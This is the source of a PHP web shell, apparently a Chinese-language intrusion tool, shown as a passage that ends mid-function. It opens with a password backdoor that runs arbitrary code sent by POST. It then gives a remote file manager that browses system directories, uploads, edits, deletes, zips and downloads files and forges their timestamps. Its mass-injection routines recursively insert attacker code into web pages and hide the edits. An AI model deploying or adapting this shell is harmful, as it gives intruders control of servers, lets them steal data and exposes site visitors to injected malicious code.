webshell/php/lpl38-com-php.txt

<?php
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
set_time_limit(0);
function Root_GP(&$array)
{
	while(list($key,$var) = each($array))
	{
		if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
		{
			if(is_string($var)) $array[$key] = stripslashes($var);
			if(is_array($var)) $array[$key] = Root_GP($var);  
		}
	}
	return $array;
}
$password = "admin";  //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>~~<7E><>Ĭ<EFBFBD><C4AC>admin,֧<>ֲ˵<D6B2><CBB5><EFBFBD><EFBFBD><EFBFBD>
eval($_POST[$password]);
function Root_CSS()
{
print<<<END
<style type="text/css">
*{padding:0; margin:0;}
body{background:threedface;font-family:"Verdana","Tahoma","<22><><EFBFBD><EFBFBD>",sans-serif;font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
a{color:#000000;text-decoration:none;}
a:hover{background:#BBBBBB;}
table{color:#000000;font-family:"Verdana","Tahoma","<22><><EFBFBD><EFBFBD>",sans-serif;font-size:13px;border:1px solid #999999;}
td{background:#F9F6F4;}
.toptd{background:threedface;width:310px;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;}
.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
</style>\n
END;
return false;
}
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
class packdir
{
	var $out='';
	var $datasec=array();
	var $ctrl_dir=array();
	var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset=0;
function packdir($array)
{
	if(@function_exists('gzcompress'))
	{
		for($n = 0;$n < count($array);$n++)
		{
			$array[$n] = urldecode($array[$n]);
			$fp = @fopen($array[$n], 'r');
			$filecode = @fread($fp, @filesize($array[$n]));
			@fclose($fp);
			$this -> filezip($filecode,basename($array[$n]));
		}
	@closedir($zhizhen);
	$this->out = $this->packfile();
	return true;
}
return false;
}
function at($atunix = 0)
{
	$unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
	if ($unixarr['year'] < 1980)
	{
		$unixarr['year']    = 1980;
		$unixarr['mon']     = 1;
		$unixarr['mday']    = 1;
		$unixarr['hours']   = 0;
		$unixarr['minutes'] = 0;
		$unixarr['seconds'] = 0;
	} 
	return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
}
function filezip($data, $name, $time = 0)
{
	$name = str_replace('\\', '/', $name);
	$dtime = dechex($this->at($time));
	$hexdtime	= '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
	eval('$hexdtime = "' . $hexdtime . '";');
	$fr	= "\x50\x4b\x03\x04";
	$fr	.= "\x14\x00";
	$fr	.= "\x00\x00";
	$fr	.= "\x08\x00";
	$fr	.= $hexdtime;
	$unc_len = strlen($data);
	$crc = crc32($data);
	$zdata = gzcompress($data);
	$c_len = strlen($zdata);
	$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
	$fr .= pack('V', $crc);
	$fr .= pack('V', $c_len);
	$fr .= pack('V', $unc_len);
	$fr .= pack('v', strlen($name));
	$fr .= pack('v', 0);
	$fr .= $name;
	$fr .= $zdata;
	$fr .= pack('V', $crc);
	$fr .= pack('V', $c_len);
	$fr .= pack('V', $unc_len);
	$this -> datasec[] = $fr;
	$new_offset = strlen(implode('', $this->datasec));
	$cdrec = "\x50\x4b\x01\x02";
	$cdrec .= "\x00\x00";
	$cdrec .= "\x14\x00";
	$cdrec .= "\x00\x00";
	$cdrec .= "\x08\x00";
	$cdrec .= $hexdtime;
	$cdrec .= pack('V', $crc);
	$cdrec .= pack('V', $c_len);
	$cdrec .= pack('V', $unc_len);
	$cdrec .= pack('v', strlen($name) );
	$cdrec .= pack('v', 0 );
	$cdrec .= pack('v', 0 );
	$cdrec .= pack('v', 0 );
	$cdrec .= pack('v', 0 );
	$cdrec .= pack('V', 32 );
	$cdrec .= pack('V', $this -> old_offset );
	$this -> old_offset = $new_offset;
	$cdrec .= $name;
	$this -> ctrl_dir[] = $cdrec;
}

function packfile()
{
	$data    = implode('', $this -> datasec);
	$ctrldir = implode('', $this -> ctrl_dir);
	return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
}
}
function File_Str($string)
{
	return str_replace('//','/',str_replace('\\','/',$string));
}
function File_Size($size)
{
	if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
	elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
	elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
	else $size = $size . ' B';
	return $size;
}
function File_Mode()
{
	$RealPath = realpath('./');
	$SelfPath = $_SERVER['PHP_SELF'];
	$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
	return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}
function File_Read($filename)
{
	$handle = @fopen($filename,"rb");
	$filecode = @fread($handle,@filesize($filename));
	@fclose($handle);
	return $filecode;
}
function File_Write($filename,$filecode,$filemode)
{
	$key = true;
	$handle = @fopen($filename,$filemode);
	if(!@fwrite($handle,$filecode))
	{
	@chmod($filename,0666);
	$key = @fwrite($handle,$filecode) ? true : false;
	}
@fclose($handle);
return $key;
}
function File_Up($filea,$fileb)
{
	$key = @copy($filea,$fileb) ? true : false;
	if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
	return $key;
}
function File_Down($filename)
{
	if(!file_exists($filename)) return false;
	$filedown = basename($filename);
	$array = explode('.', $filedown);
	$arrayend = array_pop($array);
	header('Content-type: application/x-'.$arrayend);
	header('Content-Disposition: attachment; filename='.$filedown);
	header('Content-Length: '.filesize($filename));
	@readfile($filename);
	exit;
}
function File_Deltree($deldir)
{
	if(($mydir = @opendir($deldir)) == NULL) return false;	
	while(false !== ($file = @readdir($mydir)))
	{
		$name = File_Str($deldir.'/'.$file);
		if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);}
		if(is_file($name)){@chmod($name,0777);@unlink($name);}
	} 
	@closedir($mydir);
	@chmod($deldir,0777);
	return @rmdir($deldir) ? true : false;
}
function File_Act($array,$actall,$inver)
{
	if(($count = count($array)) == 0) return '<27><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>';
	if($actall == 'e')
	{
		$zip = new packdir;
		if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}
		return '<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><CAA7>';
	}
	$i = 0;
	while($i < $count)
	{
		$array[$i] = urldecode($array[$i]);
		switch($actall)
		{
			case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '<27><><EFBFBD>Ƶ<EFBFBD>'.$inver.'Ŀ¼'; break;
			case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'ɾ<><C9BE>'; break;
			case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '<27><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '<27><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ'.$inver; break;
			case "d" : @touch($array[$i],strtotime($inver)); $msg = '<27>޸<EFBFBD>ʱ<EFBFBD><CAB1>Ϊ'.$inver; break;
		}
		$i++;
	}
	return '<27><>ѡ<EFBFBD>ļ<EFBFBD>'.$msg.'<27><><EFBFBD><EFBFBD>';
}
function File_Edit($filepath,$filename,$dim = '')
{
	$THIS_DIR = urlencode($filepath);
	$THIS_FILE = File_Str($filepath.'/'.$filename);
	if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));}
	else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';}
print<<<END
<script language="javascript">
var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
	var txt, i, found;
	if(str == "")return false;
	if(NS4){
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
		if(n == 0) alert(str + " ... Not-Find")
	}
	if(IE4){
		txt = win.document.body.createTextRange();
		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
			txt.moveStart("character", 1);
			txt.moveEnd("textedit")
		}
		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
	}
	return false
}
function CheckDate(){
	var re = document.getElementById('mtime').value;
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
	var r = re.match(reg);
	if(r==null){alert('<27><><EFBFBD>ڸ<EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>ȷ!<21><>ʽ:yyyy-mm-dd hh:mm:ss');return false;}
	else{document.getElementById('editor').submit();}
}
</script>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="search(searchs.value)"></div>
<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
<div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
<div class="actall"><3E>ļ<EFBFBD><C4BC>޸<EFBFBD>ʱ<EFBFBD><CAB1> <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
<div class="actall"><input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="CheckDate();" style="width:80px;">
<input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
}
function File_Soup($p)

{

	$THIS_DIR = urlencode($p);
	$UP_SIZE = get_cfg_var('upload_max_filesize');
	$MSG_BOX = '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С:'.$UP_SIZE.', <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ(new.php),<2C><>Ϊ<EFBFBD><CEAA>,<2C>򱣳<EFBFBD>ԭ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>.';
	if(!empty($_POST['updir']))
	{
		if(count($_FILES['soup']) >= 1)
		{
			$i = 0;
			foreach ($_FILES['soup']['error'] as $key => $error)
			{
				if ($error == UPLOAD_ERR_OK)
				{
					$souptmp = $_FILES['soup']['tmp_name'][$key];
					if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key];
					$MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'<27>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>' : $soupname.'<27>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>';
				}
				$i++;
			}
		}
		else
		{
			$MSG_BOX = '<27><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>';
		}
	}
print<<<END
<div class="msgbox">{$MSG_BOX}</div>
<form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data">
<div class="actall"><3E>ϴ<EFBFBD><CFB4><EFBFBD>Ŀ¼: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div>
<div class="actall"><3E><><EFBFBD><EFBFBD>1 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>2 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>3 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>4 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>5 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>6 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>7 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div>
<div class="actall"><3E><><EFBFBD><EFBFBD>8 <input type="file" name="soup[]" style="width:300px;height:22px;"> <20><><EFBFBD><EFBFBD> <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div>
<div class="actall"><input type="submit" value="<22>ϴ<EFBFBD>" style="width:80px;"> <input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
}
function File_a($p)
{
	if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
	$MSG_BOX = '<27>ȴ<EFBFBD><C8B4><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>';
	$UP_DIR = urlencode(File_Str($p.'/..'));
	$REAL_DIR = File_Str(realpath($p));
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
	$THIS_DIR = urlencode(File_Str($REAL_DIR));
	$NUM_D = 0;
	$NUM_F = 0;
	if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '<27>༭<EFBFBD>ļ<EFBFBD> '.$_POST['pfn'].' <20>ɹ<EFBFBD>' : '<27>༭<EFBFBD>ļ<EFBFBD> '.$_POST['pfn'].' ʧ<><CAA7>';@touch($_POST['pfn'],$intime);}
	if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD> '.$upfilename.' <20>ɹ<EFBFBD>' : '<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD> '.$upfilename.' ʧ<><CAA7>';}
	if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);}
	if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '<27><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '<27>޸<EFBFBD> '.$modfile.' <20><><EFBFBD><EFBFBD>Ϊ '.$_GET['md'].' <20>ɹ<EFBFBD>' : '<27>޸<EFBFBD> '.$modfile.' <20><><EFBFBD><EFBFBD>Ϊ '.$_GET['md'].' ʧ<><CAA7>';}
	if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '<27><><EFBFBD><EFBFBD> '.$_GET['mn'].' Ϊ '.$_GET['rn'].' <20>ɹ<EFBFBD>' : '<27><><EFBFBD><EFBFBD> '.$_GET['mn'].' Ϊ '.$_GET['rn'].' ʧ<><CAA7>';}
	if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '<27><><EFBFBD><EFBFBD>Ŀ¼ '.$_GET['dn'].' <20>ɹ<EFBFBD>' : '<27><><EFBFBD><EFBFBD>Ŀ¼ '.$_GET['dn'].' ʧ<><CAA7>';}
	if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? 'ɾ<><C9BE>Ŀ¼ '.$_GET['dd'].' <20>ɹ<EFBFBD>' : 'ɾ<><C9BE>Ŀ¼ '.$_GET['dd'].' ʧ<><CAA7>';}
	if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>';}
	Root_CSS();
print<<<END
<script type="text/javascript">
	function Inputok(msg,gourl)
	{
		smsg = "<22><>ǰ<EFBFBD>ļ<EFBFBD>:[" + msg + "]";
		re = prompt(smsg,unescape(msg));
		if(re)
		{
			var url = gourl + escape(re);
			window.location = url;
		}
	}
	function Delok(msg,gourl)
	{
		smsg = "ȷ<><C8B7>Ҫɾ<D2AA><C9BE>[" + unescape(msg) + "]<5D><>?";
		if(confirm(smsg))
		{
			if(gourl == 'b')
			{
				document.getElementById('actall').value = escape(gourl);
				document.getElementById('fileall').submit();
			}
			else window.location = gourl;
		}
	}
	function CheckDate(msg,gourl)
	{
		smsg = "<22><>ǰ<EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>:[" + msg + "]";
		re = prompt(smsg,msg);
		if(re)
		{
			var url = gourl + re;
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
			var r = re.match(reg);
			if(r==null){alert('<27><><EFBFBD>ڸ<EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>ȷ!<21><>ʽ:yyyy-mm-dd hh:mm:ss');return false;}
			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
		}
	}
	function CheckAll(form)
	{
		for(var i=0;i<form.elements.length;i++)
		{
			var e = form.elements[i];
			if (e.name != 'chkall')
			e.checked = form.chkall.checked;
		}
	}
	function SubmitUrl(msg,txt,actid)
	{
		re = prompt(msg,unescape(txt));
		if(re)
		{
			document.getElementById('actall').value = actid;
			document.getElementById('inver').value = escape(re);
			document.getElementById('fileall').submit();
		}
	}
</script>
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
	<option>---<2D><><EFBFBD><EFBFBD>Ŀ¼---</option>
	<option value="{$ROOT_DIR}"><3E><>վ<EFBFBD><D5BE>Ŀ¼</option>
	<option value="{$FILE_DIR}"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
	<option value="C:/">C<><43></option>
	<option value="D:/">D<><44></option>
	<option value="E:/">E<><45></option>
	<option value="F:/">F<><46></option>
	<option value="C:/Documents and Settings/All Users/<2F><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>˵<EFBFBD>/<2F><><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD>"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Ӣ)</option>
	<option value="C:/RECYCLER"><3E><><EFBFBD><EFBFBD>վ</option>
	<option value="C:/Program Files">Programs</option>
	<option value="/etc">etc</option>
	<option value="/home">home</option>
	<option value="/usr/local">Local</option>
	<option value="/tmp">Temp</option>
</select><input type="submit" value="ת<><D7AA>" style="width:50px;"></form>
<div style="margin-top:3px;"></div><form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
	<input type="button" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
	<input type="button" value="<22>½<EFBFBD>Ŀ¼" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
	<input type="button" value="<22><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD>" onclick="window.location='?s=q&p={$REAL_DIR}';"> 
	<input type="file" name="ufp" style="width:300px;height:22px;">
	<input type="text" name="ufn" style="width:121px;height:22px;">
	<input type="submit" value="<22>ϴ<EFBFBD>" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b><3E>ϼ<EFBFBD>Ŀ¼</b></a></td>
<td class="toptd" style="width:80px;"> <20><><EFBFBD><EFBFBD> </td><td class="toptd" style="width:48px;"> <20><><EFBFBD><EFBFBD> </td><td class="toptd" style="width:173px;"> <20>޸<EFBFBD>ʱ<EFBFBD><CAB1> </td><td class="toptd" style="width:75px;"> <20><>С </td></tr>
END;
	if(($h_d = @opendir($p)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' or $Filename == '..') continue;
		$Filepath = File_Str($REAL_DIR.'/'.$Filename);
		if(is_dir($Filepath))
		{
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
			$Filepath = urlencode($Filepath);
			echo "\r\n".' <tr><td> <a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b> '.$Filename.' </b></a> </td> ';
			$Filename = urlencode($Filename);
			echo ' <td> <a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;"> ɾ<><C9BE> </a> ';
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> <20><><EFBFBD><EFBFBD> </a> </td> ';
			echo ' <td> <a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;"> '.$Fileperm.' </a> </td> ';
			echo ' <td>'.$Filetime.'</td> ';
			echo ' <td> </td> </tr>'."\r\n";
			$NUM_D++;
		}
	}

	@rewinddir($h_d);
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' or $Filename == '..') continue;
		$Filepath = File_Str($REAL_DIR.'/'.$Filename);
		if(!is_dir($Filepath))
		{
			$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath);
			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
			$Filesize = File_Size(@filesize($Filepath));
			if($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">'.$Filename.'</font>'; else $fname = $Filename;
			echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>';
			$Filepath = urlencode($Filepath);
			$Filename = urlencode($Filename);
			echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'"> <20>༭ </a> ';
			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> <20><><EFBFBD><EFBFBD> </a> </td>';
			echo ' <td>'.$Fileperm.'</td> ';
			echo ' <td>'.$Filetime.'</td> ';
			echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n";
			$NUM_F++;
		}
	}
	@closedir($h_d);
	if(!$Filetime) $Filetime = '2009-01-01 00:00:00';
print<<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> 
<input type="hidden" id="inver" name="inver" value="undefined"> 
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="SubmitUrl('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>·<EFBFBD><C2B7>: ','{$THIS_DIR}','a');return false;"> 
<input type="button" value="ɾ<><C9BE>" onclick="Delok('<27><>ѡ<EFBFBD>ļ<EFBFBD>','b');return false;"> 
<input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="SubmitUrl('<27>޸<EFBFBD><DEB8><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ֵΪ: ','0666','c');return false;"> 
<input type="button" value="ʱ<><CAB1>" onclick="CheckDate('{$Filetime}','d');return false;"> 
<input type="button" value="<22><><EFBFBD><EFBFBD>" onclick="SubmitUrl('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: ','silic.gz','e');return false;"> 
Ŀ¼({$NUM_D}) / <20>ļ<EFBFBD>({$NUM_F})</div> 
</form> 
END;
	return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
function Guama_Pass($length)
{
	$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	$str = "";
	while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1);
	return $str;
}
function Guama_Make($codea,$codeb,$codec)
{
	return str_replace($codea,Guama_Pass($codeb),$codec);
}
function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb)
{
	if(($h_d = @opendir($gp)) == NULL) return false;
	if($gm > 12) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		if($gl != ''){if(eregi($gl,$Filename)) continue;}
		$Filepath = File_Str($gp.'/'.$Filename);
		if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb);
		if(eregi($gt,$Filename))
		{
			$fc = File_Read($Filepath);
			if(($gk != '') && (stristr($fc,chop($gk)))) continue;
			if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc;
			if($gd) $ftime = @filemtime($Filepath);
			if($gi == 'a'){if(!stristr($fc,'</head>')) continue; $fcm = str_replace('</head>',"\r\n".$gcm."\r\n".'</head>',$fc); $fcm = str_replace('</HEAD>',"\r\n".$gcm."\r\n".'</HEAD>',$fcm);}
			if($gi == 'b') $fcm = $gcm."\r\n".$fc;
			if($gi == 'c') $fcm = $fc."\r\n".$gcm;
			echo File_Write($Filepath,$fcm,'wb') ? '<font color="#006600"><3E>ɹ<EFBFBD>:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ<><CAA7>:</font>'.$Filepath.' <br>'."\r\n";
			if($gd) @touch($Filepath,$ftime);
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}
function Guama_b()
{
	if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc'])))
	{
		echo '<div class="actall">';
		$_POST['gt'] = str_replace('.','\\.',$_POST['gt']);
		if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = '';
		if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]'))
		{
			$temp = explode('[-',$_POST['gc']);
			$gk = $temp[0];
			preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc);
			if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '<a href="#" onclick="history.back();"><3E>쳣<EFBFBD><ECB3A3>ֹ</a>'; return false;}
			$gm = (int)$nc[1][0];
			$gf = $nc[0][0];
		}
		else
		{
			$gk = $_POST['gc'];
			$gm = 0;
			$gf = '';
		}
		if(!isset($_POST['gx'])) $gk = '';
		$gd = isset($_POST['gd']) ? true : false;
		$gb = ($_POST['gb'] == 'a') ? true : false;
